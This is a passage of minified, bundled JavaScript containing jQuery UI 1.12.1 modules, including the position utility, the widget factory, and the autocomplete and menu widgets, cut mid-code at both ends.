i,a,o=e(this),s=o.outerWidth(),u=o.outerHeight(),f=d(this,"marginLeft"),y=d(this,"marginTop"),L=s+f+d(this,"marginRight")+b.width,k=u+y+d(this,"marginBottom")+b.height,Y=e.extend({},_),D=c(M.my,o.outerWidth(),o.outerHeight());"right"===t.my[0]?Y.left-=s:"center"===t.my[0]&&(Y.left-=s/2),"bottom"===t.my[1]?Y.top-=u:"center"===t.my[1]&&(Y.top-=u/2),Y.left+=D[0],Y.top+=D[1],i={marginLeft:f,marginTop:y},e.each(["left","top"],(function(n,r){e.ui.position[w[n]]&&e.ui.position[w[n]][r](Y,{targetWidth:h,targetHeight:m,elemWidth:s,elemHeight:u,collisionPosition:i,collisionWidth:L,collisionHeight:k,offset:[l[0]+D[0],l[1]+D[1]],my:t.my,at:t.at,within:v,elem:o})})),t.using&&(a=function(e){var i=p.left-Y.left,a=i+h-s,l=p.top-Y.top,c=l+m-u,d={target:{element:g,left:p.left,top:p.top,width:h,height:m},element:{element:o,left:Y.left,top:Y.top,width:s,height:u},horizontal:a<0?"left":i>0?"right":"center",vertical:c<0?"top":l>0?"bottom":"middle"};h<s&&r(i+a)<h&&(d.horizontal="center"),m<u&&r(l+c)<m&&(d.vertical="middle"),n(r(i),r(a))>n(r(l),r(c))?d.important="horizontal":d.important="vertical",t.using.call(this,e,d)}),o.offset(e.extend(Y,{using:a}))}))},e.ui.position={fit:{left:function(e,t){var r,i=t.within,a=i.isWindow?i.scrollLeft:i.offset.left,o=i.width,s=e.left-t.collisionPosition.marginLeft,l=a-s,u=s+t.collisionWidth-o-a;t.collisionWidth>o?l>0&&u<=0?(r=e.left+l+t.collisionWidth-o-a,e.left+=l-r):e.left=u>0&&l<=0?a:l>u?a+o-t.collisionWidth:a:l>0?e.left+=l:u>0?e.left-=u:e.left=n(e.left-s,e.left)},top:function(e,t){var r,i=t.within,a=i.isWindow?i.scrollTop:i.offset.top,o=t.within.height,s=e.top-t.collisionPosition.marginTop,l=a-s,u=s+t.collisionHeight-o-a;t.collisionHeight>o?l>0&&u<=0?(r=e.top+l+t.collisionHeight-o-a,e.top+=l-r):e.top=u>0&&l<=0?a:l>u?a+o-t.collisionHeight:a:l>0?e.top+=l:u>0?e.top-=u:e.top=n(e.top-s,e.top)}},flip:{left:function(e,t){var n,i,a=t.within,o=a.offset.left+a.scrollLeft,s=a.width,l=a.isWindow?a.scrollLeft:a.offset.left,u=e.left-t.collisionPosition.marginLeft,c=u-l,d=u+t.collisionWidth-s-l,f="left"===t.my[0]?-t.elemWidth:"right"===t.my[0]?t.elemWidth:0,h="left"===t.at[0]?t.targetWidth:"right"===t.at[0]?-t.targetWidth:0,m=-2*t.offset[0];c<0?((n=e.left+f+h+m+t.collisionWidth-s-o)<0||n<r(c))&&(e.left+=f+h+m):d>0&&((i=e.left-t.collisionPosition.marginLeft+f+h+m-l)>0||r(i)<d)&&(e.left+=f+h+m)},top:function(e,t){var n,i,a=t.within,o=a.offset.top+a.scrollTop,s=a.height,l=a.isWindow?a.scrollTop:a.offset.top,u=e.top-t.collisionPosition.marginTop,c=u-l,d=u+t.collisionHeight-s-l,f="top"===t.my[1]?-t.elemHeight:"bottom"===t.my[1]?t.elemHeight:0,h="top"===t.at[1]?t.targetHeight:"bottom"===t.at[1]?-t.targetHeight:0,m=-2*t.offset[1];c<0?((i=e.top+f+h+m+t.collisionHeight-s-o)<0||i<r(c))&&(e.top+=f+h+m):d>0&&((n=e.top-t.collisionPosition.marginTop+f+h+m-l)>0||r(n)<d)&&(e.top+=f+h+m)}},flipfit:{left:function(){e.ui.position.flip.left.apply(this,arguments),e.ui.position.fit.left.apply(this,arguments)},top:function(){e.ui.position.flip.top.apply(this,arguments),e.ui.position.fit.top.apply(this,arguments)}}}}(),e.ui.position})?r.apply(t,i):r)||(e.exports=a)},6575:function(e,t,n){var r,i,a;i=[n(9755),n(5592)],void 0===(a="function"==typeof(r=function(e){return e.ui.safeActiveElement=function(e){var t;try{t=e.activeElement}catch(n){t=e.body}return t||(t=e.body),t.nodeName||(t=e.body),t}})?r.apply(t,i):r)||(e.exports=a)},9138:function(e,t,n){var r,i,a;i=[n(9755),n(5592)],void 0===(a="function"==typeof(r=function(e){return e.fn.extend({uniqueId:(t=0,function(){return this.each((function(){this.id||(this.id="ui-id-"+ ++t)}))}),removeUniqueId:function(){return this.each((function(){/^ui-id-\d+$/.test(this.id)&&e(this).removeAttr("id")}))}});var t})?r.apply(t,i):r)||(e.exports=a)},5592:function(e,t,n){var r,i,a;i=[n(9755)],void 0===(a="function"==typeof(r=function(e){return e.ui=e.ui||{},e.ui.version="1.12.1"})?r.apply(t,i):r)||(e.exports=a)},6891:function(e,t,n){var r,i,a;i=[n(9755),n(5592)],void 0===(a="function"==typeof(r=function(e){var t,n=0,r=Array.prototype.slice;return e.cleanData=(t=e.cleanData,function(n){var r,i,a;for(a=0;null!=(i=n[a]);a++)try{(r=e._data(i,"events"))&&r.remove&&e(i).triggerHandler("remove")}catch(e){}t(n)}),e.widget=function(t,n,r){var i,a,o,s={},l=t.split(".")[0],u=l+"-"+(t=t.split(".")[1]);return r||(r=n,n=e.Widget),e.isArray(r)&&(r=e.extend.apply(null,[{}].concat(r))),e.expr[":"][u.toLowerCase()]=function(t){return!!e.data(t,u)},e[l]=e[l]||{},i=e[l][t],a=e[l][t]=function(e,t){if(!this._createWidget)return new a(e,t);arguments.length&&this._createWidget(e,t)},e.extend(a,i,{version:r.version,_proto:e.extend({},r),_childConstructors:[]}),(o=new n).options=e.widget.extend({},o.options),e.each(r,(function(t,r){e.isFunction(r)?s[t]=function(){function e(){return n.prototype[t].apply(this,arguments)}function i(e){return n.prototype[t].apply(this,e)}return function(){var t,n=this._super,a=this._superApply;return this._super=e,this._superApply=i,t=r.apply(this,arguments),this._super=n,this._superApply=a,t}}():s[t]=r})),a.prototype=e.widget.extend(o,{widgetEventPrefix:i&&o.widgetEventPrefix||t},s,{constructor:a,namespace:l,widgetName:t,widgetFullName:u}),i?(e.each(i._childConstructors,(function(t,n){var r=n.prototype;e.widget(r.namespace+"."+r.widgetName,a,n._proto)})),delete i._childConstructors):n._childConstructors.push(a),e.widget.bridge(t,a),a},e.widget.extend=function(t){for(var n,i,a=r.call(arguments,1),o=0,s=a.length;o<s;o++)for(n in a[o])i=a[o][n],a[o].hasOwnProperty(n)&&void 0!==i&&(e.isPlainObject(i)?t[n]=e.isPlainObject(t[n])?e.widget.extend({},t[n],i):e.widget.extend({},i):t[n]=i);return t},e.widget.bridge=function(t,n){var i=n.prototype.widgetFullName||t;e.fn[t]=function(a){var o="string"==typeof a,s=r.call(arguments,1),l=this;return o?this.length||"instance"!==a?this.each((function(){var n,r=e.data(this,i);return"instance"===a?(l=r,!1):r?e.isFunction(r[a])&&"_"!==a.charAt(0)?(n=r[a].apply(r,s))!==r&&void 0!==n?(l=n&&n.jquery?l.pushStack(n.get()):n,!1):void 0:e.error("no such method '"+a+"' for "+t+" widget instance"):e.error("cannot call methods on "+t+" prior to initialization; attempted to call method '"+a+"'")})):l=void 0:(s.length&&(a=e.widget.extend.apply(null,[a].concat(s))),this.each((function(){var t=e.data(this,i);t?(t.option(a||{}),t._init&&t._init()):e.data(this,i,new n(a,this))}))),l}},e.Widget=function(){},e.Widget._childConstructors=[],e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(t,r){r=e(r||this.defaultElement||this)[0],this.element=e(r),this.uuid=n++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=e(),this.hoverable=e(),this.focusable=e(),this.classesElementLookup={},r!==this&&(e.data(r,this.widgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===r&&this.destroy()}}),this.document=e(r.style?r.ownerDocument:r.document||r),this.window=e(this.document[0].defaultView||this.document[0].parentWindow)),this.options=e.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){var t=this;this._destroy(),e.each(this.classesElementLookup,(function(e,n){t._removeClass(n,e)})),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:e.noop,widget:function(){return this.element},option:function(t,n){var r,i,a,o=t;if(0===arguments.length)return e.widget.extend({},this.options);if("string"==typeof t)if(o={},r=t.split("."),t=r.shift(),r.length){for(i=o[t]=e.widget.extend({},this.options[t]),a=0;a<r.length-1;a++)i[r[a]]=i[r[a]]||{},i=i[r[a]];if(t=r.pop(),1===arguments.length)return void 0===i[t]?null:i[t];i[t]=n}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];o[t]=n}return this._setOptions(o),this},_setOptions:function(e){var t;for(t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return"classes"===e&&this._setOptionClasses(t),this.options[e]=t,"disabled"===e&&this._setOptionDisabled(t),this},_setOptionClasses:function(t){var n,r,i;for(n in t)i=this.classesElementLookup[n],t[n]!==this.options.classes[n]&&i&&i.length&&(r=e(i.get()),this._removeClass(i,n),r.addClass(this._classes({element:r,keys:n,classes:t,add:!0})))},_setOptionDisabled:function(e){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!e),e&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_classes:function(t){var n=[],r=this;function i(i,a){var o,s;for(s=0;s<i.length;s++)o=r.classesElementLookup[i[s]]||e(),o=t.add?e(e.unique(o.get().concat(t.element.get()))):e(o.not(t.element).get()),r.classesElementLookup[i[s]]=o,n.push(i[s]),a&&t.classes[i[s]]&&n.push(t.classes[i[s]])}return t=e.extend({element:this.element,classes:this.options.classes||{}},t),this._on(t.element,{remove:"_untrackClassesElement"}),t.keys&&i(t.keys.match(/\S+/g)||[],!0),t.extra&&i(t.extra.match(/\S+/g)||[]),n.join(" ")},_untrackClassesElement:function(t){var n=this;e.each(n.classesElementLookup,(function(r,i){-1!==e.inArray(t.target,i)&&(n.classesElementLookup[r]=e(i.not(t.target).get()))}))},_removeClass:function(e,t,n){return this._toggleClass(e,t,n,!1)},_addClass:function(e,t,n){return this._toggleClass(e,t,n,!0)},_toggleClass:function(e,t,n,r){r="boolean"==typeof r?r:n;var i="string"==typeof e||null===e,a={extra:i?t:n,keys:i?e:t,element:i?this.element:e,add:r};return a.element.toggleClass(this._classes(a),r),this},_on:function(t,n,r){var i,a=this;"boolean"!=typeof t&&(r=n,n=t,t=!1),r?(n=i=e(n),this.bindings=this.bindings.add(n)):(r=n,n=this.element,i=this.widget()),e.each(r,(function(r,o){function s(){if(t||!0!==a.options.disabled&&!e(this).hasClass("ui-state-disabled"))return("string"==typeof o?a[o]:o).apply(a,arguments)}"string"!=typeof o&&(s.guid=o.guid=o.guid||s.guid||e.guid++);var l=r.match(/^([\w:-]*)\s*(.*)$/),u=l[1]+a.eventNamespace,c=l[2];c?i.on(u,c,s):n.on(u,s)}))},_off:function(t,n){n=(n||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.off(n).off(n),this.bindings=e(this.bindings.not(t).get()),this.focusable=e(this.focusable.not(t).get()),this.hoverable=e(this.hoverable.not(t).get())},_delay:function(e,t){function n(){return("string"==typeof e?r[e]:e).apply(r,arguments)}var r=this;return setTimeout(n,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){this._addClass(e(t.currentTarget),null,"ui-state-hover")},mouseleave:function(t){this._removeClass(e(t.currentTarget),null,"ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){this._addClass(e(t.currentTarget),null,"ui-state-focus")},focusout:function(t){this._removeClass(e(t.currentTarget),null,"ui-state-focus")}})},_trigger:function(t,n,r){var i,a,o=this.options[t];if(r=r||{},(n=e.Event(n)).type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),n.target=this.element[0],a=n.originalEvent)for(i in a)i in n||(n[i]=a[i]);return this.element.trigger(n,r),!(e.isFunction(o)&&!1===o.apply(this.element[0],[n].concat(r))||n.isDefaultPrevented())}},e.each({show:"fadeIn",hide:"fadeOut"},(function(t,n){e.Widget.prototype["_"+t]=function(r,i,a){var o;"string"==typeof i&&(i={effect:i});var s=i?!0===i||"number"==typeof i?n:i.effect||n:t;"number"==typeof(i=i||{})&&(i={duration:i}),o=!e.isEmptyObject(i),i.complete=a,i.delay&&r.delay(i.delay),o&&e.effects&&e.effects.effect[s]?r[t](i):s!==t&&r[s]?r[s](i.duration,i.easing,a):r.queue((function(n){e(this)[t](),a&&a.call(r[0]),n()}))}})),e.widget})?r.apply(t,i):r)||(e.exports=a)},2993:function(e,t,n){var r,i,a;i=[n(9755),n(8851),n(7053),n(1822),n(6575),n(5592),n(6891)],void 0===(a="function"==typeof(r=function(e){return e.widget("ui.autocomplete",{version:"1.12.1",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,_create:function(){var t,n,r,i=this.element[0].nodeName.toLowerCase(),a="textarea"===i,o="input"===i;this.isMultiLine=a||!o&&this._isContentEditable(this.element),this.valueMethod=this.element[a||o?"val":"text"],this.isNewMenu=!0,this._addClass("ui-autocomplete-input"),this.element.attr("autocomplete","off"),this._on(this.element,{keydown:function(i){if(this.element.prop("readOnly"))return t=!0,r=!0,void(n=!0);t=!1,r=!1,n=!1;var a=e.ui.keyCode;switch(i.keyCode){case a.PAGE_UP:t=!0,this._move("previousPage",i);break;case a.PAGE_DOWN:t=!0,this._move("nextPage",i);break;case a.UP:t=!0,this._keyEvent("previous",i);break;case a.DOWN:t=!0,this._keyEvent("next",i);break;case a.ENTER:this.menu.active&&(t=!0,i.preventDefault(),this.menu.select(i));break;case a.TAB:this.menu.active&&this.menu.select(i);break;case a.ESCAPE:this.menu.element.is(":visible")&&(this.isMultiLine||this._value(this.term),this.close(i),i.preventDefault());break;default:n=!0,this._searchTimeout(i)}},keypress:function(r){if(t)return t=!1,void(this.isMultiLine&&!this.menu.element.is(":visible")||r.preventDefault());if(!n){var i=e.ui.keyCode;switch(r.keyCode){case i.PAGE_UP:this._move("previousPage",r);break;case i.PAGE_DOWN:this._move("nextPage",r);break;case i.UP:this._keyEvent("previous",r);break;case i.DOWN:this._keyEvent("next",r)}}},input:function(e){if(r)return r=!1,void e.preventDefault();this._searchTimeout(e)},focus:function(){this.selectedItem=null,this.previous=this._value()},blur:function(e){this.cancelBlur?delete this.cancelBlur:(clearTimeout(this.searching),this.close(e),this._change(e))}}),this._initSource(),this.menu=e("<ul>").appendTo(this._appendTo()).menu({role:null}).hide().menu("instance"),this._addClass(this.menu.element,"ui-autocomplete","ui-front"),this._on(this.menu.element,{mousedown:function(t){t.preventDefault(),this.cancelBlur=!0,this._delay((function(){delete this.cancelBlur,this.element[0]!==e.ui.safeActiveElement(this.document[0])&&this.element.trigger("focus")}))},menufocus:function(t,n){var r,i;if(this.isNewMenu&&(this.isNewMenu=!1,t.originalEvent&&/^mouse/.test(t.originalEvent.type)))return this.menu.blur(),void this.document.one("mousemove",(function(){e(t.target).trigger(t.originalEvent)}));i=n.item.data("ui-autocomplete-item"),!1!==this._trigger("focus",t,{item:i})&&t.originalEvent&&/^key/.test(t.originalEvent.type)&&this._value(i.value),(r=n.item.attr("aria-label")||i.value)&&e.trim(r).length&&(this.liveRegion.children().hide(),e("<div>").text(r).appendTo(this.liveRegion))},menuselect:function(t,n){var r=n.item.data("ui-autocomplete-item"),i=this.previous;this.element[0]!==e.ui.safeActiveElement(this.document[0])&&(this.element.trigger("focus"),this.previous=i,this._delay((function(){this.previous=i,this.selectedItem=r}))),!1!==this._trigger("select",t,{item:r})&&this._value(r.value),this.term=this._value(),this.close(t),this.selectedItem=r}}),this.liveRegion=e("<div>",{role:"status","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_destroy:function(){clearTimeout(this.searching),this.element.removeAttr("autocomplete"),this.menu.element.remove(),this.liveRegion.remove()},_setOption:function(e,t){this._super(e,t),"source"===e&&this._initSource(),"appendTo"===e&&this.menu.element.appendTo(this._appendTo()),"disabled"===e&&t&&this.xhr&&this.xhr.abort()},_isEventTargetInWidget:function(t){var n=this.menu.element[0];return t.target===this.element[0]||t.target===n||e.contains(n,t.target)},_closeOnClickOutside:function(e){this._isEventTargetInWidget(e)||this.close()},_appendTo:function(){var t=this.options.appendTo;return t&&(t=t.jquery||t.nodeType?e(t):this.document.find(t).eq(0)),t&&t[0]||(t=this.element.closest(".ui-front, dialog")),t.length||(t=this.document[0].body),t},_initSource:function(){var t,n,r=this;e.isArray(this.options.source)?(t=this.options.source,this.source=function(n,r){r(e.ui.autocomplete.filter(t,n.term))}):"string"==typeof this.options.source?(n=this.options.source,this.source=function(t,i){r.xhr&&r.xhr.abort(),r.xhr=e.ajax({url:n,data:t,dataType:"json",success:function(e){i(e)},error:function(){i([])}})}):this.source=this.options.source},_searchTimeout:function(e){clearTimeout(this.searching),this.searching=this._delay((function(){var t=this.term===this._value(),n=this.menu.element.is(":visible"),r=e.altKey||e.ctrlKey||e.metaKey||e.shiftKey;t&&(!t||n||r)||(this.selectedItem=null,this.search(null,e))}),this.options.delay)},search:function(e,t){return e=null!=e?e:this._value(),this.term=this._value(),e.length<this.options.minLength?this.close(t):!1!==this._trigger("search",t)?this._search(e):void 0},_search:function(e){this.pending++,this._addClass("ui-autocomplete-loading"),this.cancelSearch=!1,this.source({term:e},this._response())},_response:function(){var t=++this.requestIndex;return e.proxy((function(e){t===this.requestIndex&&this.__response(e),this.pending--,this.pending||this._removeClass("ui-autocomplete-loading")}),this)},__response:function(e){e&&(e=this._normalize(e)),this._trigger("response",null,{content:e}),!this.options.disabled&&e&&e.length&&!this.cancelSearch?(this._suggest(e),this._trigger("open")):this._close()},close:function(e){this.cancelSearch=!0,this._close(e)},_close:function(e){this._off(this.document,"mousedown"),this.menu.element.is(":visible")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger("close",e))},_change:function(e){this.previous!==this._value()&&this._trigger("change",e,{item:this.selectedItem})},_normalize:function(t){return t.length&&t[0].label&&t[0].value?t:e.map(t,(function(t){return"string"==typeof t?{label:t,value:t}:e.extend({},t,{label:t.label||t.value,value:t.value||t.label})}))},_suggest:function(t){var n=this.menu.element.empty();this._renderMenu(n,t),this.isNewMenu=!0,this.menu.refresh(),n.show(),this._resizeMenu(),n.position(e.extend({of:this.element},this.options.position)),this.options.autoFocus&&this.menu.next(),this._on(this.document,{mousedown:"_closeOnClickOutside"})},_resizeMenu:function(){var e=this.menu.element;e.outerWidth(Math.max(e.width("").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(t,n){var r=this;e.each(n,(function(e,n){r._renderItemData(t,n)}))},_renderItemData:function(e,t){return this._renderItem(e,t).data("ui-autocomplete-item",t)},_renderItem:function(t,n){return e("<li>").append(e("<div>").text(n.label)).appendTo(t)},_move:function(e,t){if(this.menu.element.is(":visible"))return this.menu.isFirstItem()&&/^previous/.test(e)||this.menu.isLastItem()&&/^next/.test(e)?(this.isMultiLine||this._value(this.term),void this.menu.blur()):void this.menu[e](t);this.search(null,t)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(e,t){this.isMultiLine&&!this.menu.element.is(":visible")||(this._move(e,t),t.preventDefault())},_isContentEditable:function(e){if(!e.length)return!1;var t=e.prop("contentEditable");return"inherit"===t?this._isContentEditable(e.parent()):"true"===t}}),e.extend(e.ui.autocomplete,{escapeRegex:function(e){return e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")},filter:function(t,n){var r=new RegExp(e.ui.autocomplete.escapeRegex(n),"i");return e.grep(t,(function(e){return r.test(e.label||e.value||e)}))}}),e.widget("ui.autocomplete",e.ui.autocomplete,{options:{messages:{noResults:"No search results.",results:function(e){return e+(e>1?" results are":" result is")+" available, use up and down arrow keys to navigate."}}},__response:function(t){var n;this._superApply(arguments),this.options.disabled||this.cancelSearch||(n=t&&t.length?this.options.messages.results(t.length):this.options.messages.noResults,this.liveRegion.children().hide(),e("<div>").text(n).appendTo(this.liveRegion))}}),e.ui.autocomplete})?r.apply(t,i):r)||(e.exports=a)},8851:function(e,t,n){var r,i,a;i=[n(9755),n(7053),n(1822),n(6575),n(9138),n(5592),n(6891)],void 0===(a="function"==typeof(r=function(e){return e.widget("ui.menu",{version:"1.12.1",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-caret-1-e"},items:"> *",menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.element.uniqueId().attr({role:this.options.role,tabIndex:0}),this._addClass("ui-menu","ui-widget ui-widget-content"),this._on({"mousedown .ui-menu-item":function(e){e.preventDefault()},"click .ui-menu-item":function(t){var n=e(t.target),r=e(e.ui.safeActiveElement(this.document[0]));!this.mouseHandled&&n.not(".ui-state-disabled").length&&(this.select(t),t.isPropagationStopped()||(this.mouseHandled=!0),n.has(".ui-menu").length?this.expand(t):!this.element.is(":focus")&&r.closest(".ui-menu").length&&(this.element.trigger("focus",[!0]),this.active&&1===this.active.parents(".ui-menu").length&&clearTimeout(this.timer)))},"mouseenter .ui-menu-item":function(t){if(!this.previousFilter){var n=e(t.target).closest(".ui-menu-item"),r=e(t.currentTarget);n[0]===r[0]&&(this._removeClass(r.siblings().children(".ui-state-active"),null,"ui-state-active"),this.focus(t,r))}},mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(e,t){var n=this.active||this.element.find(this.options.items).eq(0);t||this.focus(e,n)},blur:function(t){this._delay((function(){!e.contains(this.element[0],e.ui.safeActiveElement(this.document[0]))&&this.collapseAll(t)}))},keydown:"_keydown"}),this.refresh(),this._on(this.document,{click:function(e){this._closeOnDocumentClick(e)&&this.collapseAll(e),this.mouseHandled=!1}})},_destroy:function(){var t=this.element.find(".ui-menu-item").removeAttr("role aria-disabled").children(".ui-menu-item-wrapper").removeUniqueId().removeAttr("tabIndex role aria-haspopup");this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeAttr("role aria-labelledby aria-expanded aria-hidden aria-disabled tabIndex").removeUniqueId().show(),t.children().each((function(){var t=e(this);t.data("ui-menu-submenu-caret")&&t.remove()}))},_keydown:function(t){var n,r,i,a,o=!0;switch(t.keyCode){case e.ui.keyCode.PAGE_UP:this.previousPage(t);break;case e.ui.keyCode.PAGE_DOWN:this.nextPage(t);break;case e.ui.keyCode.HOME:this._move("first","first",t);break;case e.ui.keyCode.END:this._move("last","last",t);break;case e.ui.keyCode.UP:this.previous(t);break;case e.ui.keyCode.DOWN:this.next(t);break;case e.ui.keyCode.LEFT:this.collapse(t);break;case e.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(t);break;case e.ui.keyCode.ENTER:case e.ui.keyCode.SPACE:this._activate(t);break;case e.ui.keyCode.ESCAPE:this.collapse(t);break;default:o=!1,r=this.previousFilter||"",a=!1,i=t.keyCode>=96&&t.keyCode<=105?(t.keyCode-96).toString():String.fromCharCode(t.keyCode),clearTimeout(this.filterTimer),i===r?a=!0:i=r+i,n=this._filterMenuItems(i),(n=a&&-1!==n.index(this.active.next())?this.active.nextAll(".ui-menu-item"):n).length||(i=String.fromCharCode(t.keyCode),n=this._filterMenuItems(i)),n.length?(this.focus(t,n),this.previousFilter=i,this.filterTimer=this._delay((function(){delete this.previousFilter}),1e3)):delete this.previousFilter}o&&t.preventDefault()},_activate:function(e){this.active&&!this.active.is(".ui-state-disabled")&&(this.active.children("[aria-haspopup='true']").length?this.expand(e):this.select(e))},refresh:function(){var t,n,r,i,a=this,o=this.options.icons.submenu,s=this.element.find(this.options.menus);this._toggleClass("ui-menu-icons",null,!!this.element.find(".ui-icon").length),n=s.filter(":not(.ui-menu)").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each((function(){var t=e(this),n=t.prev(),r=e("<span>").data("ui-menu-submenu-caret",!0);a._addClass(r,"ui-menu-icon","ui-icon "+o),n.attr("aria-haspopup","true").prepend(r),t.attr("aria-labelledby",n.attr("id"))})),this._addClass(n,"ui-menu","ui-widget ui-widget-content ui-front"),(t=s.add(this.element).find(this.options.items)).not(".ui-menu-item").each((function(){var t=e(this);a._isDivider(t)&&a._addClass(t,"ui-menu-divider","ui-widget-content")})),i=(r=t.not(".ui-menu-item, .ui-menu-divider")).children().not(".ui-menu").uniqueId().attr({tabIndex:-1,role:this._itemRole()}),this._addClass(r,"ui-menu-item")._addClass(i,"ui-menu-item-wrapper"),t.filter(".ui-state-disabled").attr("aria-disabled","true"),this.active&&!e.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(e,t){if("icons"===e){var n=this.element.find(".ui-menu-icon");this._removeClass(n,null,this.options.icons.submenu)._addClass(n,null,t.submenu)}this._super(e,t)},_setOptionDisabled:function(e){this._super(e),this.element.attr("aria-disabled",String(e)),this._toggleClass(null,"ui-state-disabled",!!e)},focus:function(e,t){var n,r,i;this.blur(e,e&&"focus"===e.type),this._scrollIntoView(t),this.active=t.first(),r=this.active.children(".ui-menu-item-wrapper"),this._addClass(r,null,"ui-state-active"),this.options.role&&this.element.attr("aria-activedescendant",r.attr("id")),i=this.active.parent().closest(".ui-menu-item").children(".ui-menu-item-wrapper"),this._addClass(i,null,"ui-state-active"),e&&"keydown"===e.type?this._close():this.timer=this._delay((function(){this._close()}),this.delay),(n=t.children(".ui-menu")).length&&e&&/^mouse/.test(e.type)&&this._startOpening(n),this.activeMenu=t.parent(),this._trigger("focus",e,{item:t})},_scrollIntoView:function(t){var n,r,i,a,o,s;this._hasScroll()&&(n=parseFloat(e.css(this.activeMenu[0],"borderTopWidth"))||0,r=parseFloat(e.css(this.activeMenu[0],"paddingTop"))||0,i=t.offset().top-this.activeMenu.offset().top-n-r,a=this.activeMenu.scrollTop(),o=this.activeMenu.height(),s=t.outerHeight(),i<0?this.activeMenu.scrollTop(a+i):i+s>o&&this.activeMenu.scrollTop(a+i-o+s))},blur:function(e,t){t||clearTimeout(this.timer),this.active&&(this._removeClass(this.active.children(".ui-menu-item-wrapper"),null,"ui-state-active"),this._trigger("blur",e,{item:this.active}),this.active=null)},_startOpening:function(e){clearTimeout(this.timer),"true"===e.attr("aria-hidden")&&(this.timer=this._delay((function(){this._close(),this._open(e)}),this.delay))},_open:function(t){var n=e.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(".ui-menu").not(t.parents(".ui-menu")).hide().attr("aria-hidden","true"),t.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(n)},collapseAll:function(t,n){clearTimeout(this.timer),this.timer=this._delay((function(){var r=n?this.element:e(t&&t.target).closest(this.element.find(".ui-menu"));r.length||(r=this.element),this._close(r),this.blur(t),this._removeClass(r.find(".ui-state-active"),null,"ui-state-active"),this.activeMenu=r}),this.delay)},_close:function(e){e||(e=this.active?this.active.parent():this.element),e.find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false")},_closeOnDocumentClick:function(t){return!e(t.target).closest(".ui-menu").length},_isDivider:function(e){return!/[^\-\u2014\u2013\s]/.test(e.text())},collapse:function(e){var t=this.active&&this.active.parent().closest(".ui-menu-item",this.element);t&&t.length&&(this._close(),this.focus(e,t))},expand:function(e){var t=this.active&&this.active.children(".ui-menu ").find(this.options.items).first();t&&t.length&&(this._open(t.parent()),this._delay((function(){this.focus(e,t)})))},next:function(e){this._move("next","first",e)},previous:function(e){this._move("prev","last",e)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_move:function(e,t,n){var r;this.active&&(r="first"===e||"last"===e?this.active["first"===e?"prevAll":"nextAll"](".ui-menu-item").eq(-1):this.active[e+"All"](".ui-menu-item").eq(0)),r&&r.length&&this.active||(r=this.activeMenu.find(this.options.items)[t]()),this.focus(n,r)},nextPage:function(t){var n,r,i;this.active?this.isLastItem()||(this._hasScroll()?(r=this.active.offset().top,i=this.element.height(),this.active.nextAll(".ui-menu-item").each((function(){return(n=e(this)).offset().top-r-i<0})),this.focus(t,n)):this.focus(t,this.activeMenu.find(this.options.items)[this.active?"last":"first"]())):this.next(t)},previousPage:function(t){var n,r,i;this.active?this.isFirstItem()||(this._hasScroll()?(r=this.active.offset().top,i=this.element.height(),this.active.prevAll(".ui-menu-item").each((function(){return(n=e(this)).offset().top-r+i>0})),this.focus(t,n)):this.focus(t,this.activeMenu.find(this.options.items).first())):this.next(t)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(t){this.active=this.active||e(t.target).closest(".ui-menu-item");var n={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(t,!0),this._trigger("select",t,n)},_filterMenuItems:function(t){var n=t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&"),r=new RegExp("^"+n,"i");return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter((function(){return 